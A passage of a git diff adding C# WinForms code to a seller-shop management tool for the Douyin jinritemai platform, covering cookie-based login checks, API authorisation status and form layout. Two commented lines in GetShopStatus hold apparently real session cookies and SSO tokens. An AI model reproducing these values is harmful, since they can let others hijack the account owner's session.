param.BuyApiAuth.ApiAuthStatus; + dgvr.Cells["colLoginName"].Value = param.LoginName; + dgvr.Cells["colShopAccount"].Value = param.ShopAccount; + dgvr.Cells["colGroup"].Value = param.Group; + dgvr.Cells["colUploadAccount"].Value = param.UploadAccount; + dgvr.Cells["colBuyAccount"].Value = param.BuyAccount; + dgvr.Cells["colChatAccount"].Value = param.ChatAccount; + dgvr.Cells["colRelogin"].Value = string.IsNullOrWhiteSpace(param.LoginStatus) ? "未登录" : param.LoginStatus.Trim(); + } + + /// + /// 检测店铺授权状态 + /// + /// + /// + public void CheckShopLoginAsync(string[] shopNames, bool isShowProgress = true) + { + if (isShowProgress) + { + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "正在检测..."; + this.statusBar.pgbTaskProgress.Value = 0; + this.statusBar.pgbTaskProgress.Maximum = shopNames.Length; + this.statusBar.pgbTaskProgress.Text = "0" + "/" + shopNames.Length; + })); + } + + Task.Run(() => + { + CheckShopLogin(shopNames, isShowProgress); + + if (this.Created && isShowProgress) + { + this.Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "检测完毕"; + })); + } + }); + } + + public void CheckShopLogin(string[] shopNames, bool isShowProgress = true) + { + for (int i = 0; i < shopNames.Length; i++) + { + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(v => v.LoginName == shopNames[i]); + if (shop != null) + { + retryLogin: + var loginResult = GetShopStatus(shop); + if (loginResult.Contains("\"code\":0")) + { + shop.LoginStatus = "登录成功"; + var shopId = BaseRegex.GetStringJson(ref loginResult, "id"); + var shopToken = BaseRegex.GetStringJson(ref loginResult, "token"); + var shopName = BaseRegex.GetStringJson(ref loginResult, "shop_name"); + var mobile = BaseRegex.GetStringJson(ref loginResult, "mobile"); + if (!string.IsNullOrEmpty(shopId)) shop.ShopAccountId = shopId; + if (!string.IsNullOrEmpty(shopToken)) shop.ShopToken = shopToken; + if (!string.IsNullOrEmpty(shopName)) shop.ShopAccount = shopName; + if (!string.IsNullOrEmpty(mobile)) shop.Mobile = mobile; + } + else if (loginResult.Contains("未登录")) + { + var keyValue = shop.DictMultiCookies.FirstOrDefault(c => c.Value == shop.Cookies); + if (keyValue.Key != null) + shop.DictMultiCookies.Remove(keyValue.Key); + + if (shop.DictMultiCookies.Keys.Count > 0) + { + shop.Cookies = shop.DictMultiCookies.FirstOrDefault().Value; + goto retryLogin; + } + shop.LoginStatus = "未登录"; + } + else + { + shop.LoginStatus = "登录失败"; + } + + // 获取店铺token列表 + shop.ApiAuthStatus = "未授权"; + if (!string.IsNullOrEmpty(shop.AccessToken) && shop.ExpiresTime > DateTime.Now) + { + Work.DouyinApiClass.DouyinApi api = new Work.DouyinApiClass.DouyinApi(shop); + string html = ""; + //if (shop.LstBrand == null) + //{ + // html = api.shopBrandList(); + // if (html.Contains("\"code\":10000") && html.Contains("\"data\":[")) + // { + // shop.LstBrand = JsonHelper.DeserializeJsonToList(JsonHelper.SerializeObject(JObject.Parse(html)["data"])); + // } + //} + if (string.IsNullOrEmpty(html) || html.Contains("该接口即将下线")) + { + Dictionary dictionary = new Dictionary(); + dictionary.Add("page", "1"); + dictionary.Add("size", "1"); + api.JsonData = dictionary; + html = api.GetProductList(); + } + if (html.Contains("\"code\":10000")) + { + shop.ApiAuthStatus = "授权成功"; + } + else + { + if (html.Contains("access_token已过期")) + { + } + else + { + var errMsg = BaseRegex.GetStringJson(ref html, "sub_msg"); + if (string.IsNullOrEmpty(errMsg)) + errMsg = html; + if (errMsg.Contains("店铺授权已被关闭")) + shop.ApiAuthStatus = "未授权,授权未开通或已关闭"; + else + BaseMsgForm.ShowError("店铺 " + shop.ShopAccount + " 检测错误:\r\n" + errMsg); + } + } + } + + shop.BuyApiAuth.ApiAuthStatus = "未授权"; + if (!string.IsNullOrEmpty(shop.BuyApiAuth.AccessToken) && shop.BuyApiAuth.ExpiresTime > DateTime.Now) + { + shop.BuyApiAuth.ApiAuthStatus = "授权成功"; + } + + if (!string.IsNullOrEmpty(loginResult)) + shop.LastRefreshDate = DateTime.Now.ToString("yyyyMMdd"); + + StartUp.SaveDouShopLoginInfo(); + AddDataGridViewRow(shop); + } + if (this.Created && isShowProgress) + { + this.Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "正在检测..."; + this.statusBar.pgbTaskProgress.Value = (i + 1); + this.statusBar.pgbTaskProgress.Text = (i + 1) + "/" + shopNames.Length; + })); + } + } + } + + private string GetShopStatus(DouShopLoginInfo shop) + { + //if (shop.ShopAccount == "权益服务齐全的专营店") + //{ + // return "{\"st\":0,\"msg\":\"账号未登录\",\"code\":10008,\"data\":{},\"page\":0,\"size\":0,\"total\":0}"; + //} + + var timeStamp = AllBase.BaseClass.DateTimeToTimestampMilliseconds(DateTime.Now); + var _lid = timeStamp.ToString().Substring(5) + Randomx.GetId(10) + Randomx.GetId(10) + Randomx.GetId(10) + Randomx.GetId(10); + + HttpWebResponse response = null; + string result; + try + { + string url = "https://fxg.jinritemai.com/common/index/index?_lid=" + _lid; + url = "https://fxg.jinritemai.com/common/index/index?_=" + timeStamp + "&appid=1"; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + + request.KeepAlive = true; + request.Headers.Add("sec-ch-ua", @""" Not;A Brand"";v=""99"", ""Google Chrome"";v=""91"", ""Chromium"";v=""91"""); + request.Headers.Add("sec-ch-ua-mobile", @"?0"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"; + request.Accept = "*/*"; + request.Headers.Add("Sec-Fetch-Site", @"same-origin"); + request.Headers.Add("Sec-Fetch-Mode", @"cors"); + request.Headers.Add("Sec-Fetch-Dest", @"empty"); + request.Referer = "https://fxg.jinritemai.com/ffa/mshop/homepage/index"; + //request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + request.Headers.Set(HttpRequestHeader.Cookie, shop.Cookies); + //gfsitesid=MTQyNTYzMzg3MXwxNjI0ODY5MDgyMjN8fDQyOTIxMTA1Mjk2MDgzNzUHBwcHBwcH; gfsitesid=MTQyNTYzMzg3MXwxNjI0ODY5MDgyMjN8fDQyOTIxMTA1Mjk2MDgzNzUHBwcHBwcH; gfsitesid=MTQyNTYzMzg3MXwxNjI0ODY5MDgyMjN8fDQyOTIxMTA1Mjk2MDgzNzUHBwcHBwcH; gfsitesid=MTQyNTYzMzg3MXwxNjI0ODY5MDgyMjN8fDQyOTIxMTA1Mjk2MDgzNzUHBwcHBwcH; gftoken=MTQyNTYzMzg3MXwxNjI0ODY5MDgyMjN8fDAGBgYGBgY; Hm_lvt_b6520b076191ab4b36812da4c90f7a5e=1624869083; passport_csrf_token_default=63caff152adc5e1d5da5767bf68c6e13; passport_csrf_token=63caff152adc5e1d5da5767bf68c6e13; ttwid=1%7C7YnupmizSCfMVfQ9y8cSyDYdaFFZFIG3i91Gg2_c5o4%7C1624869083%7C2527885991ce10cc1d54edcb381f47d01aaaf862a2c1fb587f55e26aa41eba5b; ttcid=40a3419fe96343f794046035c0f1c6bb88; n_mh=7LrrRmeUceh3vjPZWa4C3h7B_APxodsUr7zuYy75V90; sso_uid_tt=c1960cf8de21effe142f1b380670a8a3; sso_uid_tt_ss=c1960cf8de21effe142f1b380670a8a3; toutiao_sso_user=c00794bc53d4a42eb9ab1388ca003bcb; toutiao_sso_user_ss=c00794bc53d4a42eb9ab1388ca003bcb; odin_tt=c646a97f8da607104fc7f1b424cf575d3a9360b52a860aa41d467407a14512fa049a875904a556a8ecbca4985d302a8287ae02bafeaf8235cd31d44a86c2f27f; gfpart_1.0.0.2541_75650=0; uidpasaddaehruigqreajf=0; ucas_sso_c0_ss=CkEKBTEuMC4wEIeIg9zOm-LsYBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0DjkeaGBkjjxaKJBlCOvKLE77ansWBYbhIU4IRRs4bwygU2zJUnwUihzw_S6ko; ucas_sso_c0=CkEKBTEuMC4wEIeIg9zOm-LsYBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0DjkeaGBkjjxaKJBlCOvKLE77ansWBYbhIU4IRRs4bwygU2zJUnwUihzw_S6ko; ucas_c0_ss=CkEKBTEuMC4wEKKIg9SJmuLsYBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0DkkeaGBkjkxaKJBlCOvKLE77ansWBYbhIU3xVR2vJ8IbAhCwtumICcjmmBLh0; sid_guard=16f989cfdea4ddac75677dfc0ce57afd%7C1624869092%7C5184000%7CFri%2C+27-Aug-2021+08%3A31%3A32+GMT; uid_tt=6fdbf1e79a0ed585dfa8e872be181249; uid_tt_ss=6fdbf1e79a0ed585dfa8e872be181249; sid_tt=16f989cfdea4ddac75677dfc0ce57afd; sessionid=16f989cfdea4ddac75677dfc0ce57afd; sessionid_ss=16f989cfdea4ddac75677dfc0ce57afd; ucas_c0=CkEKBTEuMC4wEKKIg9SJmuLsYBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0DkkeaGBkjkxaKJBlCOvKLE77ansWBYbhIU3xVR2vJ8IbAhCwtumICcjmmBLh0; PHPSESSID=3fe844ca974ebeea09da3231eee9646e; PHPSESSID_SS=3fe844ca974ebeea09da3231eee9646e; need_choose_shop=0; Hm_lpvt_b6520b076191ab4b36812da4c90f7a5e=1624869093; login_info=%7B%22for_im_reply%22%3A%223fe844ca974ebeea09da3231eee9646e%22%7D; tt_scid=jkzjB5E7zloxWMb2G449QYbHcDZpzOLTpPUBSBff8qryqYe.RyJXHuV0J7Zgm6nNa041; MONITOR_WEB_ID=4292110529608375 + //passport_csrf_token_default=e5523a2b927b7a05c96d78a002476760; passport_csrf_token=e5523a2b927b7a05c96d78a002476760; source=bd.pcpz.1; uidpasaddaehruigqreajf=0; need_choose_shop=0; gfpart_1.0.0.695_75006=0; SHOP_ID=9050819; PIGEON_CID=4292110529608375; gfpart_1.0.0.2509_75019=0; Hm_lvt_b6520b076191ab4b36812da4c90f7a5e=1624517875,1624518442; passport_auth_status_ss=be2c708f6b44b8a69f25bb0be517ed9e%2C3eecc7d21580d321236fc0fdc098042c; passport_auth_status=be2c708f6b44b8a69f25bb0be517ed9e%2C3eecc7d21580d321236fc0fdc098042c; n_mh=7LrrRmeUceh3vjPZWa4C3h7B_APxodsUr7zuYy75V90; gfpart_1.0.0.312_74679=1; ttwid=1%7Cn--vVhfZ3AB5VnU0qJCRI6DEqVeEtvQU9yArHD7nu7A%7C1624868199%7Ccd636d9e6f1719d9a763eee1acf81ab435e14c542490ef0a5150c7566f110764; sso_uid_tt=b577dc2d646f30ca85d073bf096eb952; sso_uid_tt_ss=b577dc2d646f30ca85d073bf096eb952; toutiao_sso_user=c1581bc437561fd5a52f850ccd927686; toutiao_sso_user_ss=c1581bc437561fd5a52f850ccd927686; odin_tt=e85b04b36cb5475fe06a487c55655d731be76d54ae26e57e080823d3a568d863c7b24a14aa1c89b488b91e2e2f5743b98bc4e9b7f726b342d8f0c5ea43744e5c; ucas_sso_c0_ss=CkEKBTEuMC4wEIiIkvirrOHsYBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0DsiuaGBkjsvqKJBlCOvKLE77ansWBYbhIUtAA8VK2j6e3rNeErWjH8DgLTusg; ucas_sso_c0=CkEKBTEuMC4wEIiIkvirrOHsYBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0DsiuaGBkjsvqKJBlCOvKLE77ansWBYbhIUtAA8VK2j6e3rNeErWjH8DgLTusg; ucas_c0_ss=CkEKBTEuMC4wEISIh4LFquHsYBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0DtiuaGBkjtvqKJBlCOvKLE77ansWBYbhIUW5zoGPqAfCOgljJMo1C38jEuxXU; sid_guard=e57a8c80525e8c0ed19010416cada4b5%7C1624868205%7C5184000%7CFri%2C+27-Aug-2021+08%3A16%3A45+GMT; uid_tt=77d00870f7e450b238e44daad9c2ce4b; uid_tt_ss=77d00870f7e450b238e44daad9c2ce4b; sid_tt=e57a8c80525e8c0ed19010416cada4b5; sessionid=e57a8c80525e8c0ed19010416cada4b5; sessionid_ss=e57a8c80525e8c0ed19010416cada4b5; ucas_c0=CkEKBTEuMC4wEISIh4LFquHsYBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0DtiuaGBkjtvqKJBlCOvKLE77ansWBYbhIUW5zoGPqAfCOgljJMo1C38jEuxXU; PHPSESSID=4509fb9e486ea387dd36c94c3300d730; PHPSESSID_SS=4509fb9e486ea387dd36c94c3300d730; login_info=%7B%22for_im_reply%22%3A%224509fb9e486ea387dd36c94c3300d730%22%7D; __G_CREATE_VERIFY_PASS__=9050819; gftoken=ZTU3YThjODA1MnwxNjI0ODY4MjE5MTN8fDAGBgYGBgY; Hm_lpvt_b6520b076191ab4b36812da4c90f7a5e=1624868264; tt_scid=UdcHHkJ0VryryaO30UGOPrdEqaM70FrV6n5xUCKx17Y27H1b.8HjmzE2PXTyrHxL62c8; MONITOR_WEB_ID=4292110529608375; gfpart_1.0.0.2541_75650=0 + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException ex) + { + if (ex.Status == WebExceptionStatus.ProtocolError) + { + response = (HttpWebResponse)ex.Response; + result = GetProxyHtml.ReadResponse(response); + return result; + } + else return ex.Message; + } + catch (Exception e) + { + if (response != null) response.Close(); + return e.Message; + } + result = GetProxyHtml.ReadResponse(response); + return result; + } + + private void ShopListForm_VisibleChanged(object sender, EventArgs e) + { + if (this.Visible == true) + { + this.pbLoading.Visible = true; + RefreshDataGridView(); + } + } + + private void ShopListForm_Load(object sender, EventArgs e) + { + if (BaseClass.GroupId != 3) + { + this.dgvShop.Columns["ColEdit"].Visible = false; + this.dgvShop.Columns["colDelete"].Visible = false; + this.btnImport.Visible = false; + } + + this.dgvShop.AddSelectorColumn("colSelect"); + this.chkAutoDrag.Checked = GlobalConfig.DouShopSettingParam.IsAutoDragLogin; + this.splitContainer2.FixedPanel = FixedPanel.Panel2; + + //子账号 + //var url = BaseClass.BuildObjString("shop&act=get_shop_user_sub_group"); + //var data = UserLogin.GetSignaturex(); + //var result = GetHtml.PostUtf8(url, data); + //if (result?.Contains("\"code\":200") == true) + //{ + // var jObj = JObject.Parse(result); + // List shopSubAccountList = JsonHelper.DeserializeJsonToList(jObj["data"].ToString()); + // foreach (var shop in GlobalConfig.DouShopLoginList) + // { + // shop.ShopSubAccountList.Clear(); + // shop.ShopSubAccountList.AddRange(shopSubAccountList.Where(s => s.shop_login_name == shop.LoginName)); + // } + //} + } + + private void dgvShop_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string headerText = dgvShop.Columns[e.ColumnIndex].HeaderText; + string loginName = dgvShop.Rows[e.RowIndex].Cells["colLoginName"].Value.ParseToString(); + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(v => v.LoginName == loginName); + + switch (headerText) + { + case "检测": + CheckShopLoginAsync(new string[] { loginName }); + break; + case "删除": + if (BaseMsgForm.ShowConfirm("确定删除店铺吗?删除后不可恢复!").DialogResult == DialogResult.Cancel) + return; + DeleteShop(e.RowIndex); + DelServerDouShop(shop.LoginName); + StartUp.SaveDouShopLoginInfo(); + break; + case "编辑": + ShopAddEditForm editForm = new ShopAddEditForm(shop); + editForm.SaveCompleteWithDescribe += Sae_SaveComplete; + editForm.ShowDialog(); + break; + case "登录": + IsOperate = true; + ShopLoginForm shopLoginForm = new ShopLoginForm(shop); + shopLoginForm.SaveComplete += shopLoginForm_SaveComplete; + shopLoginForm.ShowDialog(); + IsOperate = false; + break; + case "多重登录": + IsOperate = true; + ShopLoginForm shopMultiLoginForm = new ShopLoginForm(shop); + shopMultiLoginForm.isMultiLogin = true; + shopMultiLoginForm.SaveComplete += shopLoginForm_SaveComplete; + shopMultiLoginForm.ShowDialog(); + IsOperate = false; + break; + case "接口授权": + case "上货授权": + IsOperate = true; + //GetHtml.OpenUrl("https://fuwu.jinritemai.com/authorize?service_id=815"); + ShopAuthForm shopAuthForm = new ShopAuthForm(shop); + shopAuthForm.SaveComplete += shopLoginForm_SaveComplete; + shopAuthForm.ShowDialog(); + IsOperate = false; + break; + case "拍单授权": + IsOperate = true; + //GetHtml.OpenUrl("https://fuwu.jinritemai.com/detail?from=fuwu_market_orderDetail&service_id=20896"); + ShopAuthForm shopAuthForm1 = new ShopAuthForm(shop); + shopAuthForm1.shopAuthUrl = "https://fuwu.jinritemai.com/authorize?service_id=20896"; + shopAuthForm1.SaveComplete += shopLoginForm_SaveComplete; + shopAuthForm1.ShowDialog(); + IsOperate = false; + break; + default: + dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value = !(bool)dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value; + break; + } + } + private void DeleteShop(int rowIndex) + { + string shopLoginName = this.dgvShop.Rows[rowIndex].Cells["colLoginName"].Value.ParseToString(); + dgvShop.Rows.RemoveAt(rowIndex); + GlobalConfig.DouShopLoginList.RemoveAll(v => v.ShopAccount == shopLoginName); + } + + private void btnCheck_Click(object sender, EventArgs e) + { + if (this.btnCheck.Text == "检测选中") + { + List shopNameList = GetCheckedList(); + if (!shopNameList.Any()) + { + BaseMsgForm.ShowError("请选择需要检测的店铺"); + return; + } + + CheckShopLoginAsync(shopNameList.ToArray()); + } + } + + private List GetCheckedList() + { + List shopNameList = new List(); + for (int i = 0; i < dgvShop.Rows.Count; i++) + { + if (dgvShop.Rows[i].Cells["colSelect"].Value.ParseToBool()) + { + string shopName = dgvShop.Rows[i].Cells["colLoginName"].Value.ParseToString(); + shopNameList.Add(shopName); + } + } + return shopNameList; + } + + private void btnLoginSelect_Click(object sender, EventArgs e) + { + ShopListForm.IsOperate = true; + if (this.btnLoginSelect.Text == "登录选中") + { + List shopLoginNameList = GetCheckedList(); + if (!shopLoginNameList.Any()) + { + BaseMsgForm.ShowError("请选择需要登录的店铺"); + ShopListForm.IsOperate = false; + return; + } + + foreach (var loginName in shopLoginNameList) + { + if (ShopListForm.IsOperate == false) + break; + + var shopInfo = GlobalConfig.DouShopLoginList.FirstOrDefault(v => v.LoginName == loginName); + if (shopInfo != null && !string.IsNullOrEmpty(shopInfo.LoginName) && !string.IsNullOrEmpty(shopInfo.Password)) + { + ShopLoginForm shopLoginForm = new ShopLoginForm(shopInfo); + shopLoginForm.SaveComplete += shopLoginForm_SaveComplete; + shopLoginForm.ShowDialog(); + } + } + } + ShopListForm.IsOperate = false; + } + + private void chkAutoDrag_Click(object sender, EventArgs e) + { + GlobalConfig.DouShopSettingParam.IsAutoDragLogin = chkAutoDrag.Checked; + StartUp.SaveDouShopSettingParam(); + foreach (var i in LstShopListFormInatance) + { + if (i != null && i.chkAutoDrag.Checked != GlobalConfig.DouShopSettingParam.IsAutoDragLogin) + { + if (i.chkAutoDrag.InvokeRequired) + { + i.chkAutoDrag.Invoke(new Action(() => + { + i.chkAutoDrag.Checked = GlobalConfig.DouShopSettingParam.IsAutoDragLogin; + })); + } + else + { + i.chkAutoDrag.Checked = GlobalConfig.DouShopSettingParam.IsAutoDragLogin; + } + } + } + } + + private void btnRefreshAuth_Click(object sender, EventArgs e) + { + if (this.btnRefreshAuth.Text == "刷新授权") + { + List shopNameList = GetCheckedList(); + if (!shopNameList.Any()) + { + BaseMsgForm.ShowError("请选择需要刷新授权的店铺"); + return; + } + + UpdateShopTokens(GlobalConfig.DouShopLoginList.Where(s => shopNameList.Contains(s.ShopAccount)).ToList()); + CheckShopLoginAsync(shopNameList.ToArray()); + } + } + } +} diff --git a/TEMUKJD/KJDForms/ShopForms/ShopListForm.resx b/TEMUKJD/KJDForms/ShopForms/ShopListForm.resx new file mode 100644 index 0000000..9c2b8cb --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/ShopListForm.resx @@ -0,0 +1,174 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/ShopLoginForm.Designer.cs b/TEMUKJD/KJDForms/ShopForms/ShopLoginForm.Designer.cs new file mode 100644 index 0000000..9d39903 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/ShopLoginForm.Designer.cs @@ -0,0 +1,359 @@ +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + partial class ShopLoginForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ShopLoginForm)); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.pnlMultiLogin = new System.Windows.Forms.Panel(); + this.cmbMultiCookieName = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.btnMultiLogin = new DevComponents.DotNetBar.PanelEx(); + this.btnDel = new DevComponents.DotNetBar.PanelEx(); + this.label2 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.btnCopyPassword = new LittleRabbit.UserControls.ButtonEx(); + this.btnCopyUserName = new LittleRabbit.UserControls.ButtonEx(); + this.txtPassWord = new System.Windows.Forms.TextBox(); + this.txtUserName = new System.Windows.Forms.TextBox(); + this.btnStop = new LittleRabbit.UserControls.ButtonEx(); + this.btnReload = new LittleRabbit.UserControls.ButtonEx(); + this.chkCloseAfterLogin = new DevComponents.DotNetBar.Controls.CheckBoxX(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.txtAddress = new System.Windows.Forms.TextBox(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.pnlMultiLogin.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224))))); + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.BackColor = System.Drawing.Color.White; + this.splitContainer1.Panel2.Controls.Add(this.pnlMultiLogin); + this.splitContainer1.Panel2.Controls.Add(this.label2); + this.splitContainer1.Panel2.Controls.Add(this.label1); + this.splitContainer1.Panel2.Controls.Add(this.btnCopyPassword); + this.splitContainer1.Panel2.Controls.Add(this.btnCopyUserName); + this.splitContainer1.Panel2.Controls.Add(this.txtPassWord); + this.splitContainer1.Panel2.Controls.Add(this.txtUserName); + this.splitContainer1.Panel2.Controls.Add(this.btnStop); + this.splitContainer1.Panel2.Controls.Add(this.btnReload); + this.splitContainer1.Panel2.Controls.Add(this.chkCloseAfterLogin); + this.splitContainer1.Size = new System.Drawing.Size(1438, 736); + this.splitContainer1.SplitterDistance = 674; + this.splitContainer1.SplitterWidth = 3; + this.splitContainer1.TabIndex = 4; + // + // pnlMultiLogin + // + this.pnlMultiLogin.Controls.Add(this.cmbMultiCookieName); + this.pnlMultiLogin.Controls.Add(this.btnMultiLogin); + this.pnlMultiLogin.Controls.Add(this.btnDel); + this.pnlMultiLogin.Location = new System.Drawing.Point(403, 1); + this.pnlMultiLogin.Name = "pnlMultiLogin"; + this.pnlMultiLogin.Size = new System.Drawing.Size(270, 33); + this.pnlMultiLogin.TabIndex = 461; + this.pnlMultiLogin.Visible = false; + // + // cmbMultiCookieName + // + this.cmbMultiCookieName.DisplayMember = "Text"; + this.cmbMultiCookieName.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbMultiCookieName.FormattingEnabled = true; + this.cmbMultiCookieName.ItemHeight = 18; + this.cmbMultiCookieName.Location = new System.Drawing.Point(3, 3); + this.cmbMultiCookieName.Name = "cmbMultiCookieName"; + this.cmbMultiCookieName.Size = new System.Drawing.Size(158, 24); + this.cmbMultiCookieName.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbMultiCookieName.TabIndex = 379; + this.cmbMultiCookieName.Text = "cookie1"; + // + // btnMultiLogin + // + this.btnMultiLogin.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnMultiLogin.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnMultiLogin.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnMultiLogin.DisabledBackColor = System.Drawing.Color.Empty; + this.btnMultiLogin.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnMultiLogin.Location = new System.Drawing.Point(186, 3); + this.btnMultiLogin.Name = "btnMultiLogin"; + this.btnMultiLogin.Size = new System.Drawing.Size(60, 24); + this.btnMultiLogin.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnMultiLogin.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnMultiLogin.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnMultiLogin.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnMultiLogin.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnMultiLogin.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnMultiLogin.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnMultiLogin.Style.GradientAngle = 90; + this.btnMultiLogin.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnMultiLogin.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnMultiLogin.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnMultiLogin.TabIndex = 460; + this.btnMultiLogin.Text = "多重登录"; + this.btnMultiLogin.Click += new System.EventHandler(this.btnMultiLogin_Click); + // + // btnDel + // + this.btnDel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnDel.CanvasColor = System.Drawing.SystemColors.Control; + this.btnDel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnDel.DisabledBackColor = System.Drawing.Color.Empty; + this.btnDel.Location = new System.Drawing.Point(161, 3); + this.btnDel.Name = "btnDel"; + this.btnDel.Size = new System.Drawing.Size(20, 24); + this.btnDel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnDel.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnDel.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnDel.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnDel.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnDel.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnDel.Style.GradientAngle = 90; + this.btnDel.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnDel.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnDel.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnDel.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnDel.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnDel.TabIndex = 409; + this.btnDel.Text = "删"; + this.btnDel.Click += new System.EventHandler(this.btnDel_Click); + // + // label2 + // + this.label2.Location = new System.Drawing.Point(23, 35); + this.label2.Name = 